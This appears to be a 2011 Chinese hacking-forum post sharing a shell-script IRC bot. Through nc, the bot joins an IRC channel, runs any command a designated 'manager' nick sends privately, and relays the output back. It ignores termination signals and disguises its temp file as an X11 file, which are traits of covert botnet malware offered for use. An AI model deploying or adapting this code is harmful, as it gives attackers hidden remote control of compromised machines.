| 关键词: nbsp tmpfile echo cmd PRIVMSG null myname dev mgr cwd |
shell算是刚刚起步,这个主要是利用了tail- f 通过管道重定向到nc来与irc服务器进行通信,然后利用sed对其格式化使之符合协议,其他没啥东西了 实现的功能就是命令执行。 代码估计很不成熟,还在学习中,希望大家对细节多提出一些指点。 01 #!/bin/sh 02 03 #Shell IRC Bot demo Based on RFC 1459 04 #Author:Tm3yShell7 @ www.hackshell.net 05 #2011/8/5 06 07 myname='testBot' #what you call me? 08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P 09 channel='bots' #irc channel 10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime 11 mgr='god' #manager nick in irc 12 cwd='/tmp' # current work directry 13 14 trap "" TERM HUP INT QUIT TSTP 15 #just leave it 16 17 echo "NICK $myname" > $tmpfile 18 echo "USER $myname `hostname` servername realname" 》 $tmpfile 19 echo "JOIN $channel" 》 $tmpfile 20 echo "PRIVMSG $mgr :hey, im in!" 》 $tmpfile 21 #connect to the irc server and say hello to my manager 22 23 tail -f $tmpfile| nc $svradd | while true; do 24 read cmd 25 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1 26 test $? -eq 0 || continue 27 #see if this message is for me? 28 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null) 29 #delete the header 30 cmd=$(echo $cmd | sed "s/ / /" 2>/dev/null) 31 #delete ' ' 32 echo $cmd | egrep "^cd *" >/dev/null 2>&1 33 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null) 34 #update cwd if this is a "cd" command 35 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1 36 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd" 37 #overwirte the "pwd" command 38 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1 39 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" 》 $tmpfile 40 #exec it and send 41 done |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|